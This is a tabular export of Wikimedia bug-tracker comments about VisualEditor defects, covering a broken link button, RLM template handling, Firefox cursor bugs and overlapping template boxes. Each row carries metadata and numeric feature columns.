+*** This bug has been marked as a duplicate of bug 51404 ***",,,1383173187,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-wm36m5xxm3u54pgeyz4a,task_subcomment,,True,c1,3,True,,,17,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+254935,VisualEditor: Clicking the hyper link button twice breaks the button.,"most likely duplicate of bug 51404, which should be subsequently renamed from ""crashing when inserting link without selection"" to ""crashing when inserting link on non-linkable or empty selection""",,,1374864536,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-wm36m5xxm3u54pgeyz4a,task_subcomment,,True,c1,3,True,,,3,,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,1,1,0,0,0,0,0,1,0,0,1,1,0,0,0,1,0,1,0,1,0,0,0,0,0,0,1,0,1,1,1,0,0,0,0,1,0,1,0,1,1,0,0,1,0,1,0,1,0,0,1,0,1,0
+254930,VisualEditor: Clicking the hyper link button twice breaks the button.,"Addendum:
+After some more testing it would seem that the link button will always break whenever the user selects an element that normally wouldn't be hyperlinked. If one does select a non linkable element and presses the hyperlink button the empty balloon popup will always occur.  
+
+These elements include - among others - images, templates, references and objects that cannot be edited in the visual editor yet. Unfortunately there seems to be no way restore the link buttons functionality without reloading the editor itself.",,,1374863634,,PHID-USER-ohetl546bwt5ac2szu5w,False,,,PHID-TASK-wm36m5xxm3u54pgeyz4a,task_subcomment,,True,c1,3,False,,,3,,1,0,0,1,1,1,1,0,0,1,1,1,0,0,1,0,0,1,1,0,1,0,0,0,0,1,0,0,1,1,0,1,0,1,1,0,1,0,0,0,1,0,0,1,0,0,0,1,1,1,0,1,0,1,0,0,0,0,0,0,0,1,0,1,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,1,1,1,1,1,0,0
+254925,VisualEditor: Clicking the hyper link button twice breaks the button.,I was able to reproduce following the steps in comment 3.,,,1374704173,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-wm36m5xxm3u54pgeyz4a,task_subcomment,,True,c1,3,False,,,3,,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,1,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,0,1,0,0,0
+254918,VisualEditor: Clicking the hyper link button twice breaks the button.,"Chrome 28 - Error console
+
+And last: A screenshot of chrome's console. It seems to be a tad more in depth than the error Firefox displays.
+
+**Attached**: {F11891}",,,1374703953,,PHID-USER-ohetl546bwt5ac2szu5w,False,,,PHID-TASK-wm36m5xxm3u54pgeyz4a,task_subcomment,,True,c1,3,False,,,3,,0,0,0,0,0,1,1,0,0,0,1,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,1,0,0,1,0,0
+254911,VisualEditor: Clicking the hyper link button twice breaks the button.,"Yep, one pops up on step 3:
+
+[23:46:29.770] Error: No class registered by that name: undefined @ https://bits.wikimedia.org/en.wikipedia.org/load.php?debug=false&lang=en&modules=ext.visualEditor.core%2Cicons-vector%7Cext.visualEditor.viewPageTarget.icons-vector%7Crangy&skin=monobook&version=20130724T164530Z&*:2
+
+The above screenshot displays what occurs on the page. Also, a more specific set of steps that might help to reproduce this:
+
+1) Edit the [[Portland Ice Arena (Oregon)]] page in the visual editor.
+2) Place the cursor directly after reference [2]. 
+3) Click the hyperlink button. It should create the regular hyperlink balloon as seen in the left side of the attached screenshot.
+4) Click the 'Not to be confused with Portland Ice Arena (Maine).' template. This will cause the template to ""blank"" itself as seen in the right side of the screenshot. 
+5) Click the 'Not to be confused with Portland Ice Arena (Maine).' template another time. This will cause the empty edit balloon to disappear. 
+6) Try the edit link button anywhere in the page itself - it will no longer work (Not on existing links nor on new ones)
+
+Note that it is not required to click the template - clicking elsewhere will work as well.",,,1374703277,,PHID-USER-ohetl546bwt5ac2szu5w,False,,,PHID-TASK-wm36m5xxm3u54pgeyz4a,task_subcomment,,True,c1,3,False,,,3,,0,0,0,1,1,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,1,1,1,0,1,1,1,0,0,0,0,1,1,1,0,0,0,0,0,0,1,1,1,1,1,0,1,0,1,0,1,0,1,0,1,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,1,1,1,1,1,1,1,1,0,1
+254906,VisualEditor: Clicking the hyper link button twice breaks the button.,"Error screenshot.
+
+**Attached**: {F11890}",,,1374702882,,PHID-USER-ohetl546bwt5ac2szu5w,False,,,PHID-TASK-wm36m5xxm3u54pgeyz4a,task_subcomment,,True,c1,3,False,,,3,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0
+254902,VisualEditor: Clicking the hyper link button twice breaks the button.,I can't reproduce this. Do you see any errors in your JS console?,,,1374691632,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-wm36m5xxm3u54pgeyz4a,task_subcomment,,True,c1,3,False,,,3,,1,0,0,0,1,0,0,0,0,0,1,1,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,0,0,0,0,0,0,0
+53978,VisualEditor: A template with the RLM control character doesn't work when editing in VE,"The Hebrew Wikipedia frequently uses the template {{כ}} ( https://he.wikipedia.orgw/wiki/Template:Rlm ), which inserts the &rlm; entity. This entity translates to an invisible zero-width control character, the [[right-to-left mark]]. This template works correctly when the article is rendered to the reader, but when the article is being edited in VE, the text behaves as if it's not there.
+
+For reference, see https://en.wikipedia.org/wiki/Right-to-left_mark .
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+**URL**: https://he.wikipedia.org/wiki/User:Amire80/ve-rlm",High,80.0,1374686820,1407753932.0,PHID-USER-xfe43w2lb5gpvglf4coa,False,,False,PHID-TASK-wfbovalkwufxdqplhata,task_description,resolved,True,c1,3,False,False,False,3,,0,0,0,1,1,1,0,0,0,1,1,1,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,1,1,0,0,0,0,1
+254594,VisualEditor: A template with the RLM control character doesn't work when editing in VE,"(In reply to Amir E. Aharoni from comment #6)
+> At Wikimania Moriel, Roan and I found that the bug, as originally reported,
+> appears to be fixed. I don't know when exactly did the fix happen.
+> 
+> Using the {{כ}} template works correctly while editing articles, and the
+> original test page https://he.wikipedia.org/wiki/User:Amire80/ve-rlm shows
+> everything correctly.
+
+This would probably have been fixed by Ed's work on unwrapping generated content nodes.
+
+> That said, there are issues with handling this template after it's inserted:
+> * The bubble that shows its name appears in a wrong location.
+
+Yeah, the context seems to find the nearest thing that actually displays and attaches to that. Probably the same issue as the below.
+
+> * It's hard to know that it's there while editing in visual mode, because it
+> is zero-width. Showing some kind of a flag there, as it's done with single
+> line breaks, would be a nice idea.
+
+That's bug 49806.
+
+> Should I close this bug and open separate bugs for these issues?
+
+Have done so. Yay.",,,1407753932,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-wfbovalkwufxdqplhata,task_subcomment,,True,c1,3,True,,,58,,1,1,0,1,1,1,1,1,0,0,1,1,0,0,1,1,1,1,1,1,1,1,1,0,1,1,0,1,0,1,0,1,1,1,1,0,1,0,0,0,0,0,1,1,1,0,0,1,1,1,1,1,0,0,1,0,0,1,1,1,1,1,0,0,0,1,1,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,1,0,0,1,1,1,1,0,1,0,1,1
+254590,VisualEditor: A template with the RLM control character doesn't work when editing in VE,"At Wikimania Moriel, Roan and I found that the bug, as originally reported, appears to be fixed. I don't know when exactly did the fix happen.
+
+Using the {{כ}} template works correctly while editing articles, and the original test page https://he.wikipedia.org/wiki/User:Amire80/ve-rlm shows everything correctly.
+
+That said, there are issues with handling this template after it's inserted:
+* The bubble that shows its name appears in a wrong location.
+* It's hard to know that it's there while editing in visual mode, because it is zero-width. Showing some kind of a flag there, as it's done with single line breaks, would be a nice idea.
+
+Should I close this bug and open separate bugs for these issues?",,,1407753368,,PHID-USER-xfe43w2lb5gpvglf4coa,False,,,PHID-TASK-wfbovalkwufxdqplhata,task_subcomment,,True,c1,3,False,,,58,,1,1,0,1,1,1,1,1,0,0,1,1,0,0,1,1,1,1,1,1,1,1,1,0,1,0,0,0,0,1,0,1,1,1,1,0,1,0,0,0,0,0,1,1,0,0,0,1,1,1,1,1,0,0,1,0,0,1,1,1,1,0,0,0,0,1,1,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,0,0,1,1,1,1,0,1,0,0,0
+254586,VisualEditor: A template with the RLM control character doesn't work when editing in VE,"(In reply to comment #4)
+> 2. Language definition to assign directionality rather than RLM is good
+> approach, but it isn't possible to replace all the RLM uses:
+> A. for normal users it is annoying to meet wiki-text editing HTML code of
+> <span
+> dir="""">...
+
+That's why Moriel invested so much time in an easy graphical way to do it :)
+
+It's still in the ""finishing touches"" stage.
+
+The trouble is that while bidi isolation replaces most or all of the uses of RLM, it doesn't work in IE. Saw it coming? :)
+
+In fact, IE 10 and 11 (!) even show some elements with bidi isolation very incorrectly. Test the following page:
+https://en.wikipedia.org/wiki/User:Amire80/bidi-isolate
+
+> Regarding the issue of ""invisible template"" which the VE users don't know it
+> is
+> there - I think it will be nice (and maybe there is already exist) to add
+> ability to add text that appears only in VE editing mode [either with CSS
+> which
+> tells the content to display:none, and only in VE it appears, or with
+> dedicated
+> parser tag <onlyve>. This solution may be useful for other cases of
+> ""invisible
+> templates"".
+
+I love this proposal.",,,1383831673,,PHID-USER-xfe43w2lb5gpvglf4coa,False,,,PHID-TASK-wfbovalkwufxdqplhata,task_subcomment,,True,c1,3,False,,,18,,1,0,1,0,1,1,1,0,0,0,1,1,0,1,1,1,0,1,1,1,1,0,1,0,1,0,0,0,1,1,1,1,1,1,1,0,1,1,1,0,0,0,0,1,0,1,0,1,0,1,1,1,0,1,1,0,0,1,1,0,1,1,0,1,0,1,0,1,1,1,1,1,1,0,1,1,1,1,0,1,0,1,1,1,1,1,0,1,1,1,1,0,1,0,1,1
+254583,VisualEditor: A template with the RLM control character doesn't work when editing in VE,"1. I think that adding display:inline-block by the VE (to any transclusion node - and particularly to this template)  is a bug, We should consider either removing this css or changing it to inline instead of inline-block
+2. Language definition to assign directionality rather than RLM is good approach, but it isn't possible to replace all the RLM uses:
+A. for normal users it is annoying to meet wiki-text editing HTML code of <span dir="""">...
+B. Sometimes specifying direction/language is overkill and the simple and best solution is to use RLM. 
+
+Regarding the issue of ""invisible template"" which the VE users don't know it is there - I think it will be nice (and maybe there is already exist) to add ability to add text that appears only in VE editing mode [either with CSS which tells the content to display:none, and only in VE it appears, or with dedicated parser tag <onlyve>. This solution may be useful for other cases of ""invisible templates"".",,,1383679171,,PHID-USER-cfsvvgbtlqnbt2yokfjf,False,,,PHID-TASK-wfbovalkwufxdqplhata,task_subcomment,,True,c1,3,False,,,18,,1,0,0,1,1,1,1,0,0,0,1,1,0,1,1,1,0,1,1,1,1,1,0,0,0,1,0,0,1,1,1,1,1,1,1,0,1,1,1,0,0,0,0,1,0,1,0,1,0,1,1,1,0,0,1,0,0,1,1,1,1,1,0,1,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,0,1,0,1,1
+254578,VisualEditor: A template with the RLM control character doesn't work when editing in VE,"This is a bit more complicated than removing a css definition.
+
+As far as I understand this is what happens -- 
+
+1. Parsoid recognizes {{כ}} as a template (expected) and sends it to VE as a transclusion object. 
+2. VE treats it as transclusion object (as expected) --- but this means that-
+3. The content of the transclusion/template is wrapped with transclusion node markup. This means that the RLM code is now wrapped with html markup, which effectively alienates it from the string it is supposed to affect.
+
+In most other templates the above behavior is exactly what we want, so this template is an exception. We need to figure out a way to recognize these exceptional templates and then deal with them.
+
+But there is another issue - this is going to be a design challenge, too. 
+
+""RLM"" is an invisible character, so when we look at the article itself we have no indication that there is any special notation or character inside a sentence or a word. So, when we let users edit this in VisualEditor, we have to see how we can allow RLM to affect the word (so, it needs to not be encapsulated with html) *but* we also have to make sure a user can see it is there and, hopefully, interact with it.
+
+We need to come up with creative ways on how to allow user interaction. 
+
+What happens, for example, if a user removes the string the RLM was attached to without removing the RLM character itself? The user may not know about it if it is invisible, and it can cause problems in the edit and later edit in that sentence.
+
+
+I think we might want to consider shifting from RLM templates, that provide directionality change in a string, to language annotations, that provide the same thing *plus* language definition. This is what we're moving towards anyways. It provides more information and it lets the user interact with the language definition. 
+
+I understand that if we do it we will get dirty diffs, but I am not entirely sure how we can deal with RLM properly in the editor -- and is it not in any case preferable to use full-information language annotation instead of a limited-behavior RLM character?",,,1383676142,,PHID-USER-zq6nzfwxwkyliljd4lfy,False,,,PHID-TASK-wfbovalkwufxdqplhata,task_subcomment,,True,c1,3,False,,,18,,1,0,1,1,1,1,1,0,0,1,1,1,0,0,1,1,0,1,1,0,1,0,0,0,1,0,0,1,1,1,0,1,1,1,1,0,0,1,0,1,1,1,1,1,0,1,0,0,1,1,1,1,0,1,0,0,0,1,1,0,1,1,0,1,0,0,1,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,1,0,1,0,1,1,1,1,1,1,1
+254573,VisualEditor: A template with the RLM control character doesn't work when editing in VE,"Hint: when disabling inline-block display for the template 
+(e.g removing:
+.ve-ce-mwTransclusionInlineNode {
+    display: inline-block;
+}
+)
+it behaves properly.",,,1383642046,,PHID-USER-cfsvvgbtlqnbt2yokfjf,False,,,PHID-TASK-wfbovalkwufxdqplhata,task_subcomment,,True,c1,3,False,,,18,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,1,0,0,1,0,0,0
+254567,VisualEditor: A template with the RLM control character doesn't work when editing in VE,See https://he.wikipedia.org/wiki/User:Amire80/ve-rlm for a demostration.,,,1374686999,,PHID-USER-xfe43w2lb5gpvglf4coa,False,,,PHID-TASK-wfbovalkwufxdqplhata,task_subcomment,,True,c1,3,False,,,3,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+53957,"VisualEditor: Firefox allows cursor to get into illegal position around wide objects (<gallery>, <references>, etc), leading to corruption, and prevents down arrow button navigation","1. https://en.wikipedia.org/wiki/User:Raymond/Gallery?veaction=edit
+2. Put the cursor after the first ':'
+3. Press the down arrow - cursor should now be far right of window, beside the gallery
+4. Type 'a'
+5. Press Control-Z
+
+Results vary.
+
+1. Sometimes two characters will appear: 'A' <new line> 'a', and 'Save page' is enabled.  Control-Z removes only one of them, and the 'Save page' button returns to disabled, with one added character still on the screen.
+
+2. Sometimes a pawn appears.
+
+3. Sometimes only one character appears, and the 'Save page' button remains disabled.
+
+On the gallery at the bottom of https://de.wikipedia.org/wiki/Hollenegg?veaction=edit , option (3) happens most often.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=53750
+https://bugzilla.wikimedia.org/show_bug.cgi?id=56248",High,80.0,1374664140,1399418661.0,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,False,PHID-TASK-zc6v32lm5ytpux3undwt,task_description,resolved,True,c1,3,False,False,False,3,,0,0,0,1,0,1,1,0,0,0,0,0,0,1,0,0,0,1,1,0,0,1,0,0,0,0,0,1,0,1,0,1,1,0,1,0,1,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,1,0,0,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,0,1,1,0,0,1,1
+253605,"VisualEditor: Firefox allows cursor to get into illegal position around wide objects (<gallery>, <references>, etc), leading to corruption, and prevents down arrow button navigation","I believe that this is now fixed, after the Firefox CE re-write, though I could be wrong – please re-open if so.",,,1399418661,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-zc6v32lm5ytpux3undwt,task_subcomment,,True,c1,3,True,,,44,,0,0,0,1,0,1,1,0,1,1,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,1,1,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,1,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
+253601,"VisualEditor: Firefox allows cursor to get into illegal position around wide objects (<gallery>, <references>, etc), leading to corruption, and prevents down arrow button navigation","In addition to <gallery>, and corruption, a less significant problem is that the down cursor becomes stuck at any block that consumes the entire page with (such as the references block or navbars); pressing the down arrow on the keyboard does not move the cursor to the next item underneath the block.
+
+Steps to reproduce:
+1. Load any page in VE with a references block and something underneath it. e.g.
+   https://en.wikipedia.org/wiki/Jos%C3%A9_Cl%C3%A1udio_Ribeiro_da_Silva?veaction=edit
+   https://en.wikipedia.org/wiki/Marty_Callaghan?veaction=edit
+
+   or a similar block like in this article
+
+   https://en.wikipedia.org/w/index.php?title=Mary_Louise_Smith_%28Republican_Party_leader%29&veaction=edit
+
+2. Repeat pressing down key to reach the bottom of the article
+
+Expected results:
+Down key continues to step down through the article until it reaches the bottom.
+
+Actual results:
+Down key works until the references block.  It becomes stuck on the right hand side of the block.
+
+Im adding this here as it appears to be the exact same underlying problem, as typing when the cursor is on the right-hand side of other wide objects, such as references, also produces unexpected results.",,,1381624406,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-zc6v32lm5ytpux3undwt,task_subcomment,,True,c1,3,False,,,14,,1,1,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,1,1,1,1,0,0,0,0,0,0,1,0,0,1,1,1,1,1,0,1,0,1,1,0,0,0,1,0,0,0,1,0,1,0,1,0,0,0,0,0,1,1,1,1,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,1,1,0,1,1,0,1
+253598,"VisualEditor: Firefox allows cursor to get into illegal position around wide objects (<gallery>, <references>, etc), leading to corruption, and prevents down arrow button navigation","Confirmed bug in Firefox. Specifically:
+
+(In reply to comment #0)
+> 1. https://en.wikipedia.org/wiki/User:Raymond/Gallery?veaction=edit
+> 2. Put the cursor after the first ':'
+> 3. Press the down arrow - cursor should now be far right of window, beside
+> the gallery
+
+No, it really shouldn't - it should be in the next heading (""Anzahl Bilder pro Reihe: perrow=2""). See the behaviour in Chrome/Safari for reference. This is a bug specific to Firefox AFAICT.",,,1374680740,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-zc6v32lm5ytpux3undwt,task_subcomment,,True,c1,3,True,,,3,,0,0,0,0,1,1,1,0,0,0,1,1,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,1,0,0,0,1,1,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,0,1,0,0,0,1,1,0,1,0,1,1,1,0,1,0,1,1,0,1,0,0,0,0,1
+253595,"VisualEditor: Firefox allows cursor to get into illegal position around wide objects (<gallery>, <references>, etc), leading to corruption, and prevents down arrow button navigation","Reliable snowmen
+
+1. https://de.wikipedia.org/wiki/Benutzer:John_Vandenberg/test?veaction=edit
+2. Place the cursor above the image (which is inside a template)
+3. press down so that the cursor is beside the image/template
+4. press 'a'
+
+Win: snowman + 'a'",,,1374667755,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-zc6v32lm5ytpux3undwt,task_subcomment,,True,c1,3,False,,,3,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,0,0,1,0,1,0,0,1,1,1,0,0,0,0,1
+53933,VisualEditor: Overlapping template boxes make some transclusions difficult or impossible to access,"Overlapping template selection box in Firefox 22 on Linux
+
+When templates do not have a defined width the blue selection box extends the whole width of the window, regardless of whether the template does. This means that in some cases, e.g. at [[Where Does This Door Go]], the transclusion editor icon is displayed not on top of the template.
+
+More seriously it also means that smaller templates to the right of larger ones are difficult of impossible to access because they are completely covered by the other template's selection box. At the same article, the ""Professional ratings"" translcusion is difficult to select (you need to click it in line with the slug between the templates on the left) and the tooltip icon does not appear.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=49922
+
+**Attached**: {F11785}",High,80.0,1374655380,1405201146.0,PHID-USER-ysftv67jxeaxdwcakvwo,False,,False,PHID-TASK-2siqskyqqgqcynauvs72,task_description,resolved,True,c1,3,False,False,False,3,,1,0,1,1,1,1,1,1,0,0,1,1,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,1,1,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,1,1,0,1,1,0,1
+252427,VisualEditor: Overlapping template boxes make some transclusions difficult or impossible to access,Both of the examples linked to work now.,,,1405201146,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-2siqskyqqgqcynauvs72,task_subcomment,,True,c1,3,True,,,53,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0
+252422,VisualEditor: Overlapping template boxes make some transclusions difficult or impossible to access,Partially mitigated by the above but I believe not fixed. Resetting.,,,1402533482,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-2siqskyqqgqcynauvs72,task_subcomment,,True,c1,3,True,,,49,,0,0,0,0,1,1,0,0,0,0,1,0,0,1,0,1,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,1,0,0,1,0,0,0
+252420,VisualEditor: Overlapping template boxes make some transclusions difficult or impossible to access,"Change 138338 merged by jenkins-bot:
+Special case for shielding of generated content wrappers
+
+https://gerrit.wikimedia.org/r/138338",,,1402525633,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-2siqskyqqgqcynauvs72,task_subcomment,,True,c1,3,False,,,49,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+252416,VisualEditor: Overlapping template boxes make some transclusions difficult or impossible to access,"Change 138338 had a related patch set uploaded by Esanders:
+Special case for shielding of generated content wrappers
+
+https://gerrit.wikimedia.org/r/138338",,,1402321080,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-2siqskyqqgqcynauvs72,task_subcomment,,True,c1,3,False,,,49,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+252411,VisualEditor: Overlapping template boxes make some transclusions difficult or impossible to access,*** Bug 54301 has been marked as a duplicate of this bug. ***,,,1402294829,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-2siqskyqqgqcynauvs72,task_subcomment,,True,c1,3,True,,,49,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+252405,VisualEditor: Overlapping template boxes make some transclusions difficult or impossible to access,*** Bug 50970 has been marked as a duplicate of this bug. ***,,,1402294818,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-2siqskyqqgqcynauvs72,task_subcomment,,True,c1,3,True,,,49,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+252398,VisualEditor: Overlapping template boxes make some transclusions difficult or impossible to access,The edit icon showing up in random places is also mentioned at https://bugzilla.wikimedia.org/show_bug.cgi?id=51548 .,,,1377775199,,PHID-USER-wil4b5lylrvf3krixlkl,False,,,PHID-TASK-2siqskyqqgqcynauvs72,task_subcomment,,True,c1,3,False,,,8,,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0
+252392,VisualEditor: Overlapping template boxes make some transclusions difficult or impossible to access,"*overlapping blocks, or templates, or whatever, you understood me :)",,,1377699148,,PHID-USER-wil4b5lylrvf3krixlkl,False,,,PHID-TASK-2siqskyqqgqcynauvs72,task_subcomment,,True,c1,3,False,,,8,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,1,1,0,0,0
+252385,VisualEditor: Overlapping template boxes make some transclusions difficult or impossible to access,"I arrived here to document the same situation. A user at en.wp reports he's not able to edit reviews with VE at http://en.wikipedia.org/wiki/X_(Def_Leppard_album) because of the overlapping windows. While for me this is certainly the case with FF, with Chrome instead I am able to select the template if I click on the Review Scores line. This said, the icon to actually edit contents only appears... at the top of the Infobox album - definitely not where one would expect it to.",,,1377698588,,PHID-USER-wil4b5lylrvf3krixlkl,False,,,PHID-TASK-2siqskyqqgqcynauvs72,task_subcomment,,True,c1,3,False,,,8,,0,0,0,0,1,1,1,1,0,1,1,1,0,1,0,1,0,1,1,0,1,0,1,0,1,0,0,0,0,1,0,1,1,1,1,0,1,0,1,0,0,1,0,1,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,1,1,1,1,0,0,0
